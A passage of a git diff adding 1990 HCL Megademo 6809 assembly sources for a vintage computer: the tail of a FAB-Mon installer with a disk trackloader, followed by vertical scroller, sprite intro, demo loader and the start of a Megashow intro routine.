+       BRA    CNFIRM
+       CMPB   #'2
+       BNE    *+13
+       LDD    #$090A
+       STD    1,Y
+       LDA    #'Z-64
+       STA    3,Y
+       BRA    CNFIRM
+       CMPB   #'3
+       BNE    OPTION
+       LDD    #$2E2E+$A5A5
+       STD    INDIRE
+       STD    INDIRE+2
+       STD    BANK1
+       STD    BANK2
+       LDB    #0+$A5
+       STD    CHRDEC
+       LDU    #ECRAN2
+       JSR    GETADR-3
+       STX    4,Y
+       JSR    GETBNK-3
+       STA    1,Y
+       JSR    PRINTU
+       JSR    GETBNK
+       CMPA   1,Y
+       BEQ    *-5
+       STA    2,Y
+       JSR    PRINTU
+       JSR    $E806
+       BEQ    *-3
+       STB    3,Y
+CNFIRM JSR    SHOVAL
+       LDU    #ECRAN2
+       LDX    #PRINTU
+       JSR    ,X
+       JSR    ,X
+       JSR    ,X
+       JSR    ,X
+       LDU    #ISITOK
+       JSR    PRINTU
+GETOK  JSR    $E806
+       CMPB   #2
+       LBEQ   START
+       CMPB   #13
+       BNE    GETOK
+       JSR    PRINTU
+       JMP    NOWLOD
+
+ZZZZC1
+ECRAN2 FCB    12,F,$48,$41
+       FCC    "Redirection [4000-DFEC]:"
+L0     FCC    " ...."
+       FCB    0,F,$4A,$41
+       FCC    "BANK du code de FAB-Mon "
+L1     FCC    "[02-1F]: .."
+       FCB    0,F,$4C,$41
+       FCC    "BANK de sauvegarde "
+       FCB    G,$42
+L2     FCC    "ecran [02-1F]: .."
+       FCB    0,F,$4E,$41
+       FCC    "Caract"
+       FCB    G,$41
+       FCC    "ere d"
+       FCB    G,$42
+L3     FCC    "eclencheur: CNT-Z"
+ZZZZC2 FCB    0
+
+
+NOWLOD ORCC   #80
+       LDA    $E7E6
+       PSHS   A
+       LDB    #$60
+       ADDB   1,Y
+       STB    $E7E6
+       STB    FABBNK+1
+
+********************* début TRACKLOADER
+
+       PSHS   CC,DP,A,B,X,Y,U
+       JSR    $E09D
+       LDD    #$0200  lecture face 0
+       STD    <$48
+       LDD    #$0101  piste 1, secteur 1
+       STD    <$4B
+       LDU    #$0000  buffer = 0
+
+TRACK  JSR    $E452   positionne piste
+       LDD    #$9F40
+       STA    7,X             séparateur
+       STB    1,X     taille,face,précom
+
+       LDA    <$4C
+SECTOR STA    5,X
+       LDA    #$0A    config= ($FF/$0A)
+       STA    4,X
+       LDA    #$A1    on veut lire $A1
+       STA    3,X
+       LDB    #$1B    sync-détection ON
+       STB    ,X      lecture secteur
+
+       LDB    ,X      prêt pour cette
+       BITB   #2      opération dite
+       BEQ    *-4     "intelligente" ?
+       LDB    3,X
+GETSYN LDB    ,X      lecture des 4 mots
+       BPL    *-2
+       LDB    3,X     de synchro :
+       CMPB   #$72
+       BNE    GETSYN   A1/horloge/0A/72
+
+       LDY    #512
+READ   LDB    ,X
+       BPL    *-2
+       LDB    3,X     lecture du champ
+       STB    ,U+
+       LEAY   -1,Y    des SIZE données
+       BNE    READ
+
+       LDB    ,X
+       BITB   #8      opération finie ?
+       BEQ    *-4
+       CLR    ,X
+       CMPU   #$4000  fin lecture ?
+       BEQ    THEEND
+
+       LDA    <$4C    secteur suivant
+       INCA
+       STA    <$4C
+       CMPA   #11
+       BNE    SECTOR
+       LDA    #1
+       STA    <$4C
+       INC    <$4B
+       BRA    TRACK
+
+THEEND JSR    $E0B9
+       PULS   CC,DP,A,B,X,Y,U
+
+*********************** fin TRACKLOADER
+
+       LDD    BUFFER+2
+       STA    >ZZZBK1+1
+       STB    >ISCHDC+1
+       LDX    BUFFER+4
+       LEAX   3,X
+       STX    >ZZZAD1+1
+       LEAX   12,X
+       STX    >ZZZAD2+1
+       LEAX   1,X
+       STX    >ZZZAD3+1
+       LDD    >$600A
+       LDY    #0
+GOODGT LDX    ,Y+
+       CMPX   #$4B55
+       BNE    *+6
+       LEAY   -1,Y
+       STD    ,Y++
+       CMPY   #$4000
+       BLO    GOODGT
+       PULS   A
+       STA    $E7E6
+FINFIN JSR    COPY
+       LDX    BUFFER+4
+       STX    $6089
+       LDA    #$7E
+       STA    $6088
+       LDA    $607F
+       BEQ    EXPLOD
+       LDU    #RSTMSG
+       JSR    PRINTU
+       JSR    $E806
+       BCC    *-3
+EXPLOD JMP    $FDC8
+
+       JSR    PRINTU
+GETBNK LDB    #8
+       JSR    $E803
+       JSR    $E803
+       LDB    #$11
+       JSR    $E803
+       JSR    HDIGIT
+       ASLB
+       ASLB
+       ASLB
+       ASLB
+       PSHS   B
+       JSR    HDIGIT
+       ADDB   ,S
+       STB    ,S
+       PULS   A
+       CMPA   #2
+       BLO    GETBNK
+       CMPA   ,Y
+       BHI    GETBNK
+       LDB    #$14
+       JMP    $E803
+
+HDIGIT JSR    $E806
+       CMPB   #'0
+       BLO    HDIGIT
+       CMPB   #'F
+       BHI    HDIGIT
+       CMPB   #'9
+       BHI    *+8
+       JSR    $E803
+       SUBB   #'0
+       RTS
+       CMPB   #'A
+       BLO    HDIGIT
+       JSR    $E803
+       SUBB   #'0+7
+       RTS
+
+PRINTU LDB    ,U+
+       SUBB   #$A5                     @
+       JSR    $E803
+       BNE    *-7
+       RTS
+
+SHOVAL LDA    4,Y
+       LDU    #INDIRE
+       JSR    ATOHEX
+       LDA    5,Y
+       JSR    ATOHEX
+       LDA    1,Y
+       LDU    #BANK1
+       JSR    ATOHEX
+       LDA    2,Y
+       LDU    #BANK2
+       JSR    ATOHEX
+       LDA    3,Y
+       LDU    #CHRDEC
+       CMPA   #32
+       BHS    IFCHD2
+       LDD    #$434E+$A5A5   "CNT-"    @
+       STD    ,U++
+       LDD    #$542D+$A5A5             @
+       STD    ,U++
+       LDA    3,Y
+       ADDA   #64
+       BRA    PRTCHR
+IFCHD2 CMPA   #$9A
+       BLO    IFCHD3
+       LDD    #$5041+$A5A5   "PAD-"    @
+       STD    ,U++
+       LDD    #$442D+$A5A5             @
+       STD    ,U++
+       LDA    3,Y
+       SUBA   #$6A
+       BRA    PRTCHR
+IFCHD3 CMPA   #$80
+       BLO    PRTCHR
+       LDD    #$464E+$A5A5   "FNC-"    @
+       STD    ,U++
+       LDD    #$432D+$A5A5             @
+       STD    ,U++
+       LDA    3,Y
+       SUBA   #$5F
+       CMPA   #'9
+       BLS    PRTCHR
+       LDA    #'A
+PRTCHR CLRB
+       ADDD   #$A5A5                   @
+       STD    ,U++
+       RTS
+
+ATOHEX PSHS   X,A
+       LDX    #HEXA
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       LDA    A,X
+       ADDA   #$A5                     @
+       STA    ,U+
+       LDA    ,S
+       ANDA   #15
+       LDA    A,X
+       ADDA   #$A5                     @
+       STA    ,U+
+       PULS   A,X,PC
+HEXA   FCC    "0123456789ABCDEF"
+
+ZZZZD1
+PGEONE FCB    12,F,$49,$48
+       FCC    "1.Installation en BANK 5"
+       FCC    "/6"
+       FCB    F,$4A,$4A
+       FCC    "(BASIC, Applications...)"
+       FCB    F,$4D,$48
+       FCC    "2.Installation en BANK 9"
+       FCC    "/A"
+       FCB    F,$4E,$4A
+       FCC    "(Jeux, D"
+       FCB    G,$42
+       FCC    "emos...)"
+       FCB    F,$51,$48
+       FCC    _3.Installation "manuelle_
+       FCB    '"
+ZZZZD2 FCB    0
+ZZZEND
+
+INDIRE EQU    L0+1
+MAXBK1 EQU    L1+4
+BANK1  EQU    L1+9
+MAXBK2 EQU    L2+10
+BANK2  EQU    L2+15
+CHRDEC EQU    L3+12
+
+       END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/FRACTALS.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/FRACTALS.ASM
new file mode 100644
index 0000000..0d1e7e9
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/FRACTALS.ASM
@@ -0,0 +1,236 @@
+****************************************
+*                                      *
+* SCROLLING VERTICAL POUR "FRACTALAND" *
+*                                      *
+****************************************
+* Codé le 16-9-90 par doc Lô           *
+
+FONTE  EQU    $8160
+DEBANK EQU    3
+ZZ     EQU    $9FF4
+DIR    EQU    $9F
+Z      EQU    $F4
+
+       ORG    $9660
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       STA    RDP+2
+       STS    RDP+6
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDA    #$21
+       STA    <$DC
+       CLR    <$DD
+       LDA    <$C3
+       ANDA   #254
+       STA    <$C3
+       LDX    #$4000
+       CLR    ,X+
+       CMPX   #$5F40
+       BNE    *-5
+       INC    <$C3
+       CLR    ,-X
+       CMPX   #$4000
+       BNE    *-5
+       LDX    #FONTE
+       CLR    ,X+
+       CMPX   #FONTE+256
+       BNE    *-5
+       LDA    #255
+       LDX    #COULS
+       JSR    $EC00
+       LDA    #DEBANK
+       STA    <$E5
+       LDY    #$5F40
+       LDD    #0
+       STD    ,Y
+       STD    2,Y
+       STD    36,Y
+       STD    38,Y
+       STD    40,Y
+       STD    42,Y
+       STD    76,Y
+       STD    78,Y
+
+SYNCRO LDY    #$4028
+       LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       BRA    *+2
+       LDD    #$2A21
+       STB    <$DC
+
+SCROLL NOP
+       STA    <$DC
+       LDX    80,Y
+       STX    ,Y
+       LDU    82,Y
+       STU    2,Y
+       NOP
+       STB    <$DC
+       STX    36,Y
+       STU    38,Y
+       LEAY   40,Y
+       JMP    *+3
+       CMPY   #$5F40
+       BNE    SCROLL
+       STA    <$DC
+
+       LDA    #DIR
+       TFR    A,DP
+       DEC    <Z
+       BNE    SAME
+       LDU    <Z+3
+       LDA    ,U+
+       BNE    *+5
+       LDU    #TEXTE
+       STU    <Z+3
+       LDB    #128
+       MUL
+       LDU    #FONTE
+       LEAU   D,U
+       STU    <Z+1
+       LDD    #17
+       STB    <Z
+       CLRB
+       STD    ,Y
+       STD    2,Y
+       STD    36,Y
+       STD    38,Y
+       STD    40,Y
+       STD    42,Y
+       STD    76,Y
+       STD    78,Y
+       BRA    JOIN
+SAME   LDU    <Z+1
+       PULU   D,X
+       STD    ,Y
+       STX    2,Y
+       STD    36,Y
+       STX    38,Y
+       PULU   D,X
+       STD    40,Y
+       STX    42,Y
+       STD    76,Y
+       STX    78,Y
+       STU    <Z+1
+
+JOIN   LDY    <Z+5
+       CMPY   #$5F47
+       BEQ    PADAFF
+       LDA    #13
+       LDS    <Z+7
+LINE   PULS   U,X
+       STU    ,Y
+       DEC    $E7C3
+       STX    ,Y++
+       INC    $E7C3
+       DECA
+       BNE    LINE
+       LEAY   14,Y
+       STY    <Z+5
+       STS    <Z+7
+       LDA    #$E7
+       TFR    A,DP
+       TST    <$C8
+       BNE    RDP
+       LDS    RDP+6
+       JMP    SYNCRO
+PADAFF LDA    #$E7
+       TFR    A,DP
+       LDD    <$CC
+       BITA   #8
+       BNE    PAPLUS
+       LDA    <$E5
+       CMPA   #DEBANK+7
+       BNE    *+4
+       LDA    #DEBANK-1
+       INCA
+       BRA    NEWIMA
+PAPLUS BITA   #4
+       BNE    FIRE
+       LDA    <$E5
+       CMPA   #DEBANK
+       BNE    *+4
+       LDA    #DEBANK+8
+       DECA
+NEWIMA STA    <$E5
+       LDX    #$4007
+       STX    ZZ+5
+       LDX    #$A000
+       STX    ZZ+7
+FIRE   BITB   #64
+       BNE    MARRE
+       DEC    ZZ+11
+       BNE    MARRE
+       LDX    #400
+       LEAX   -1,X
+       BNE    *-2
+       LDX    ZZ+9
+       LDB    #4
+       STB    <$DB
+       LDD    ,X++
+       STB    <$DA
+       STA    <$DA
+       STB    <$DA
+       STA    <$DA
+       CMPX   #COLTEX+16
+       BNE    *+5
+       LDX    #COLTEX
+       STX    ZZ+9
+       LDA    #4
+       STA    ZZ+11
+MARRE  TST    <$C8
+       LBEQ   SYNCRO
+
+RDP    LDA    #0
+       TFR    A,DP
+       LDS    #0
+       CLR    <$DC
+       LDA    #255
+       LDX    #COULS+8
+       JSR    $EC00
+       RTS
+
+COULS  FDB    0,4095,$60,$60
+       FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931,938
+       FDB    2611,2618,3815,123
+COLTEX FDB    0,6,$60,$66,$600,$606,$660
+       FDB    $666
+TEXTE  FCB    1,1,1,1,1,1,1,1,1,1,1
+
+       ORG    ZZ
+       FCB    1
+       FDB    FONTE,TEXTE,$4007,$A000
+       FDB    COLTEX+4,$0100
+       END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/INTRO.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/INTRO.ASM
new file mode 100644
index 0000000..c4e4f31
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/INTRO.ASM
@@ -0,0 +1,380 @@
+****************************************
+*                                      *
+*  INTRODUCTION MORBIDE A LA MEGADEMO  *
+*                                      *
+****************************************
+*    Codé le 10-10-90 par doctor Lô    *
+
+
+SPRITE EQU    $7000
+SINE   EQU    $9800
+FONTE  EQU    $9980-8
+TEXTE  EQU    $9A98
+DIR    EQU    $9B
+Z      EQU    $E0
+ZZ     EQU    DIR*256+Z
+SINDEP EQU    SINE+96
+       ORG    ZZ
+       FDB    $A500,$A500,$A500,$A500
+       FDB    $A500,$A500,$A500,$A500
+       FDB    SINDEP+64,SINDEP
+       FCB    0
+       FDB    TEXTE,$468,90,$DE78
+
+       ORG    $9C00
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       STA    RDP+1
+       STS    RDS+2
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDD    #$2100
+       STD    <$DC
+       STB    <$E5
+       LDX    #$A000
+       CLR    ,X+
+       CMPX   #$E000
+       BNE    *-5
+       LDA    #15
+       STA    <$E5
+       LDX    #MAP
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       LDD    #$105
+       STD    $61D6
+       CLR    $6288
+       LDB    #69
+       JSR    $EC0C
+       LDX    #COLORS+32
+       LDA    #255
+       JSR    $EC00
+       LDA    #0
+       STA    <$E5
+
+SYNCRO LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       LDA    #4
+       STA    <$DB
+       LDD    #3840
+       STB    <$DA
+       STA    <$DA
+
+       LDU    #COLORS-3
+       PULU   Y,S,DP
+       LDB    #8
+       LDX    #ZZ
+       LDU    ,X++
+       LDA    #4
+RUB    PSHU   DP,S,Y
+       LEAU   45,U
+       PSHU   DP,S,Y
+       LEAU   45,U
+       PSHU   DP,S,Y
+       LEAU   45,U
+       PSHU   DP,S,Y
+       LEAU   45,U
+       PSHU   DP,S,Y
+       LEAU   45,U
+       PSHU   DP,S,Y
+       LEAU   45,U
+       PSHU   DP,S,Y
+       LEAU   45,U
+       PSHU   DP,S,Y
+       LEAU   45,U
+       DECA
+       BNE    RUB
+       DECB
+       BNE    RUB-4
+
+       LDA    #DIR
+       TFR    A,DP
+       LDA    #8
+       STA    <Z+20
+       LDY    #ZZ
+AFFOUR LDS    #$A085
+       LDX    #ZZ+16
+       LDU    2,X     sinus
+       LDA    ,U
+       LEAU   32,U
+       CMPU   #SINE+256
+       BLO    *+6
+       LEAU   -256,U
+       STU    2,X
+       LDB    #40
+       MUL
+       LEAS   D,S
+       LDU    ,X
+       LDB    ,U
+AJUS   ADDB   #0
+       LSRB
+       LSRB
+       LSRB
+       LEAS   B,S
+       LDB    ,U
+ASUJ   ADDB   #0
+       LEAU   32,U
+       CMPU   #SINE+320
+       BLO    *+6
+       LEAU   -256,U
+       STU    ,X
+       ANDB   #7
+       LDA    #160
+       MUL
+PSPRI  LDU    #SPRITE
+       LEAU   D,U
+       STS    ,Y++
+       STY    RECU+2
+       LDA    #8
+AFCRA  PULU   X,Y,B
+       PSHS   B,Y,X
+       LEAS   45,S
+       PULU   X,Y,B
+       PSHS   B,Y,X
+       LEAS   45,S
+       PULU   X,Y,B
+       PSHS   B,Y,X
+       LEAS   45,S
+       PULU   X,Y,B
+       PSHS   B,Y,X
+       LEAS   45,S
+       DECA
+       BNE    AFCRA
+RECU   LDY    #0
+       DEC    <Z+20
+       BNE    AFFOUR
+       LDX    <Z+16
+VITX   LEAX   2,X
+       CMPX   #SINDEP+96
+       BNE    NORM
+       LDX    #SINDEP+64
+       STX    <Z+16
+       LDX    #SINDEP
+       STX    <Z+18
+       BRA    JOIN
+NORM   STX    <Z+16
+       LDX    <Z+18
+VITY   LEAX   2,X
+       STX    <Z+18
+
+JOIN   LDB    <Z+23
+       LDA    $E7CC
+       BITA   #1
+       BNE    DOWN
+UP     CMPB   #3
+       BEQ    EST
+       DECB
+       BRA    EST
+DOWN   BITA   #2
+       BNE    EST
+       CMPB   #29
+       BEQ    EST
+       INCB
+EST    STB    <Z+23
+       LDB    <Z+24
+       BITA   #8
+       BNE    WEST
+       CMPB   #188
+       BEQ    FJOY
+       INCB
+       BRA    FJOY
+WEST   BITA   #4
+       BNE    FJOY
+       CMPB   #40
+       BEQ    *+3
+       DECB
+FJOY   STB    <Z+24
+       LDX    #$A000
+       LSRB
+       LSRB
+       LSRB
+       ABX
+       LDD    <Z+23
+       ANDB   #7
+       STB    AJUS+1
+       STB    ASUJ+1
+       LDB    #40
+       MUL
+       LEAX   D,X
+       STX    AFFOUR+2
+       LDB    <Z+25
+       BNE    ANTIRE
+       LDA    $E7CD
+       BITA   #64
+       BNE    ANTIRE+2
+       LDX    PSPRI+1
+       LEAX   8*160,X
+       CMPX   #SPRITE+160*64
+       BNE    *+5
+       LDX    #SPRITE
+       STX    PSPRI+1
+       LDA    #16
+       STA    <Z+25
+       BRA    *+4
+ANTIRE DEC    <Z+25
+
+       LDX    <Z+21
+       LDA    ,X
+       BEQ    MOVEUP
+       LBMI   FBOUC
+       DEC    <Z+26
+       LBNE   FBOUC
+       LDB    <Z+1
+       ANDB   #15
+       INCB
+       STB    <Z+26
+       LEAX   1,X
+       STX    <Z+21
+       LDB    #8
+       MUL
+       LDU    #FONTE
+       LEAU   D,U
+       LDX    <Z+27
+       PULU   D
+       STA    160,X
+       STB    120,X
+       PULU   D
+       STA    80,X
+       STB    40,X
+       PULU   D
+       STA    ,X+
+       STB    -41,X
+       PULU   D
+       STA    -81,X
+       STB    -121,X
+       STX    <Z+27
+       BRA    FBOUC
+
+MOVEUP LDU    <Z+27
+       LDA    <Z+26
+       CMPU   #$DE78
+       BEQ    *+9
+       LDU    #$DE78
+       STU    <Z+27
+       LDA    #19
+       DECA
+       STA    <Z+26
+       CMPA   #11
+       BNE    *+6
+       LEAX   1,X
+       STX    <Z+21
+       LDB    #31
+       STB    <Z+20
+       LDU    #$DA80
+MOVE   PULU   D,X,Y,S
+       LEAU   -40,U
+       PSHU   S,Y,X,D
+       LEAU   32,U
+       PULU   D,X,Y,S
+       LEAU   -40,U
+       PSHU   S,Y,X,D
+       LEAU   32,U
+       PULU   D,X,Y,S
+       LEAU   -40,U
+       PSHU   S,Y,X,D
+       LEAU   32,U
+       PULU   D,Y,X,S
+       LEAU   -40,U
+       PSHU   S,Y,X,D
+       LEAU   104,U
+       DEC    <Z+20
+       BNE    MOVE
+       BRA    RDS
+
+FBOUC  LDX    #576
+       LEAX   -1,X
+       BNE    *-2
+       LDA    $E7CD
+       BMI    RDS
+       LDA    <Z+17
+       LSRA
+       ASLA
+       STA    <Z+17
+       LDA    <Z+19
+       LSRA
+       ASLA
+       STA    <Z+19
+       LDA    #2
+       LDB    VITX+1
+       CMPB   #1
+       BEQ    *+3
+       DECA
+       STA    VITX+1
+       STA    VITY+1
+RDS    LDS    #0
+       LDD    #$E720
+       TFR    A,DP
+       BITB   <$E7
+       BEQ    *-2
+       BITB   <$E7
+       BNE    *-2
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       LDA    #4
+       STA    <$DB
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    ,X
+       LDD    #240
+       STB    <$DA
+       STA    <$DA
+
+       JSR    $E806
+       CMPB   #78
+       BNE    *+5
+       JMP    $FDC8
+       CMPB   #79
+       LBNE   SYNCRO
+
+RDP    LDA    #0
+       TFR    A,DP
+       CLR    $E7DC
+       CLR    $E7DD
+       LDA    #255
+       LDX    #COLORS
+       JSR    $EC00
+       RTS
+
+       FCB    0,0,0
+COLORS FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931,938
+       FDB    2611,2618,3815,123
+       FDB    0,4095,3840,4095
+MAP
+       END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/LOADER.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/LOADER.ASM
new file mode 100644
index 0000000..739aa87
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/LOADER.ASM
@@ -0,0 +1,284 @@
+FONTE  EQU    $A000
+TEXTE  EQU    $A5D0
+ECRAN  EQU    $5E00
+DIR    EQU    $D5
+Z      EQU    $40
+DEBDEM EQU    $630C
+FINDEM EQU    $6370
+SHELL  EQU    $637D
+
+       ORG    $D690
+       FCB    $B8,$B0,$A8,$A0
+       FCB    $98,$90,$88,$80
+       ORG    DIR*256+Z
+       FDB    $100,$0201,TEXTE,0,0,0,0
+       ORG    $A328
+
+G      ORCC   #80
+       LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDD    #0
+       STD    $E7DC
+       LDX    #ECRAN
+       LDU    #$D550
+       PULU   D
+       STD    ,X++
+       CMPX   #$5F40
+       BNE    *-7
+       DEC    $E7C3
+       LDA    #40
+       LDB    ,U+
+       STB    ,-X
+       DECA
+       BNE    *-3
+       CMPU   #$D698
+       BNE    *-13
+       LDD    #$C0C0
+       STD    ,--X
+       CMPX   #$4000
+       BNE    *-5
+       INC    $E7C3
+       LDX    #COLORS
+       LDA    #255
+       JSR    $EC00
+       LDB    #DIR
+       TFR    B,DP
+       LDY    <Z+4
+
+SYNCRO LDA    $E7E7
+       BPL    *-3
+       LDA    $E7E7
+       BMI    *-3
+
+       LDB    <Z+3
+       BEQ    *+6
+       DEC    <Z+3
+       BRA    FINJOY+2
+       LDA    #4
+       STA    <Z+3
+       LDB    <Z
+       LDA    $E7CC
+       BITA   #4
+       BNE    EST
+       DECB
+       BMI    FINJOY+2
+       BRA    FINJOY
+EST    BITA   #8
+       BNE    FINJOY+2
+       INCB
+       CMPB   #8
+       BEQ    FINJOY+2
+FINJOY STB    <Z
+
+       LDA    $E7CD
+       BITA   #64
+       LBEQ   SORTIE
+
+       LDB    <Z
+BOUCLE STB    <Z+1
+       BEQ    FINSCR
+       JSR    SCROLL
+       LDB    <Z+1
+       DECB
+       BRA    BOUCLE
+
+FINSCR JSR    $E806
+       CMPB   #87
+       BNE    PAWARP
+       LDA    #$25
+       STA    PAWARP+2
+PAWARP CMPB   #$90
+       BRA    SYNCRO
+       SUBB   #$90
+       LDU    #COLORS+2
+       LDB    B,U
+       LDA    #$63
+       STD    FINDEM
+       JMP    SORTIE
+
+SCROLL LDX    #ECRAN+20
+       LDU    #DIR*256+Z+6
+       LDA    #8
+       ASL    ,U+
+       ROL    19,X
+       ROL    18,X
+       ROL    17,X
+       ROL    16,X
+       ROL    15,X
+       ROL    14,X
+       ROL    13,X
+       ROL    12,X
+       ROL    11,X
+       ROL    10,X
+       ROL    9,X
+       ROL    8,X
+       ROL    7,X
+       ROL    6,X
+       ROL    5,X
+       ROL    4,X
+       ROL    3,X
+       ROL    2,X
+       ROL    1,X
+       ROL    ,X
+       ROL    -1,X
+       ROL    -2,X
+       ROL    -3,X
+       ROL    -4,X
+       ROL    -5,X
+       ROL    -6,X
+       ROL    -7,X
+       ROL    -8,X
+       ROL    -9,X
+       ROL    -10,X
+       ROL    -11,X
+       ROL    -12,X
+       ROL    -13,X
+       ROL    -14,X
+       ROL    -15,X
+       ROL    -16,X
+       ROL    -17,X
+       ROL    -18,X
+       ROL    -19,X
+       ROL    -20,X
+       LEAX   40,X
+       DECA
+       BNE    SCROLL+8
+       DEC    <Z+2
+       BEQ    *+3
+       RTS
+       LDB    ,Y+
+       BNE    *+8
+       LDY    #TEXTE
+       LDB    #2
+       ANDB   #254
+       LSRB
+       LDA    #8
+       STA    <Z+2
+       MUL
+       LDU    #FONTE-8
+       LEAU   D,U
+       PULU   D,X
+       STD    <Z+6
+       STX    <Z+8
+       PULU   D,X
+       STD    <Z+10
+       STX    <Z+12
+       RTS
+
+SORTIE STY    <Z+4
+       LDX    #ECRAN
+       LDU    #$D550
+       LDD    ,X++
+       STD    ,U++
+       CMPX   #$5F40
+       BNE    *-7
+       LDU    FINDEM
+       JMP    SHELL
+
+ERROR  LDA    $E7C3
+       ORA    #1
+       STA    $E7C3
+       LDD    #0
+       STD    $E7DC
+       LDX    #COLORS+32
+       LDU    #PHRASE+25
+       LDB    <$4E
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       LDA    B,X
+       LDB    <$4E
+       ANDB   #15
+       LDB    B,X
+       STD    ,U++
+       LDB    <$48
+       LDA    B,X
+       LDB    <$49
+       LDB    B,X
+       STD    ,U++
+       LDB    <$4B
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       LDA    B,X
+       LDB    <$4B
+       ANDB   #15
+       LDB    B,X
+       STD    ,U++
+       LDB    <$4C
+       LSRB
+       LSRB
+       LSRB
+       LSRB
+       LDA    B,X
+       LDB    <$4C
+       ANDB   #15
+       LDB    B,X
+       STD    ,U
+
+       LDX    #$4078
+       LDY    #PHRASE
+       LDB    ,Y+
+       JSR    PRINT
+       CMPX   #$40A0
+       BNE    *-8
+       LDX    #$41B8
+       LDB    ,Y+
+       JSR    PRINT
+       CMPX   #$41E0
+       BNE    *-8
+
+       DEC    $E7C3
+       LDX    #$4140
+       LDU    #$D698
+       LDA    #40
+       LDB    ,-U
+       STB    -320,X
+       STB    ,X+
+       DECA
+       BNE    *-7
+       CMPU   #$D690
+       BNE    *-17
+       LDD    #$C0C0
+       STD    ,X++
+       CMPX   #$5F40
+       BNE    *-5
+       LDX    #COLORS
+       LDA    #255
+       JSR    $EC00
+       TST    $E7C8
+       BEQ    *-3
+       JMP    G
+PRINT  LDA    #8
+       SUBB   #32
+       MUL
+       LDU    #FONTE
+       LEAU   D,U
+       PULU   D
+       STA    -120,X
+       STB    -80,X
+       PULU   D
+       STA    -40,X
+       STB    ,X+
+       PULU   D
+       STA    39,X
+       STB    79,X
+       PULU   D
+       STA    119,X
+       STB    159,X
+       RTS
+
+COLORS FDB    0,$0C12,$181E,$4C52,$585E
+       FDB    $646A,4080,4095
+       FDB    $EE,$CE,$AE,$8E
+       FDB    $6E,$4E,$2E,$0E
+       FCC    /0123456789ABCDEF/
+PHRASE FCC    /       Erreur disque/
+       FCC    /tte #00000000       /
+       FCC    /         Appuyez sur/
+       FCC    / une touche         /
+
+       END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/MEGASHOW.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/MEGASHOW.ASM
new file mode 100644
index 0000000..368fc2f
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/MEGASHOW.ASM
@@ -0,0 +1,574 @@
+          ********************
+          *                  *
+          *   INTRODUCTION   *
+          *                  *
+          * AU MEGASHOW1 HCL *
+          *                  *
+          ********************
+
+
+ECRAN  EQU    $DD74
+TEXTE  EQU    $8A00
+FONTE  EQU    $8FC8
+MASK   EQU    $9100
+DIR    EQU    $98
+Z      EQU    $80
+ZZ     EQU    DIR*256+Z
+PISTE1 EQU    56
+
+
+       ORG    ZZ
+       FCB    $B0,0,$B0,0,1
+       FDB    TEXTE,20,0,$200,$200,$4000
+       FCB    200,0,120,0,1,255,1,0
+       FDB    0,0,PISTE1
+       FCB    0
+G      ORCC   #80
+       LDA    #$E7
+       EXG    A,DP
+       STA    RDP+1
+       STS    RDP-2
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       STA    <$E5
+       LDX    #$A000
+       STD    ,X++
+       CMPX   #$E000
+       BNE    *-5
+       LDX    #COOPER+368
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       INCB
+       STB    <$E5
+       LDD    #$100
+       STD    $61D6
+       LDD    #$FF45
+       STA    $6288
+       JSR    $EC0C
+       LDD    #$2104
+       STD    <$DC
+       LDD    #$1102
+       STB    <$DB
+       STA    <$DA
+       STA    <$DA
+       CLRA
+       STA    <$E5
+
+SYNCRO LDD    #$20E7
+       TFR    B,DP
+       LDX    #ZZ+9
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       STA    ,X+
+       MUL
+       MUL
+       MUL
+       MUL
+       LDA    ,-X
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       NOP
+       LDX    #$421
+       LDA    #4
+       STA    <$DB
+
+       LDU    #COOPER
+COOP   PULU   D
+       STD    REP+1
+       ADDD   #$555
+       STD    REP+8
+REP    LDD    #0
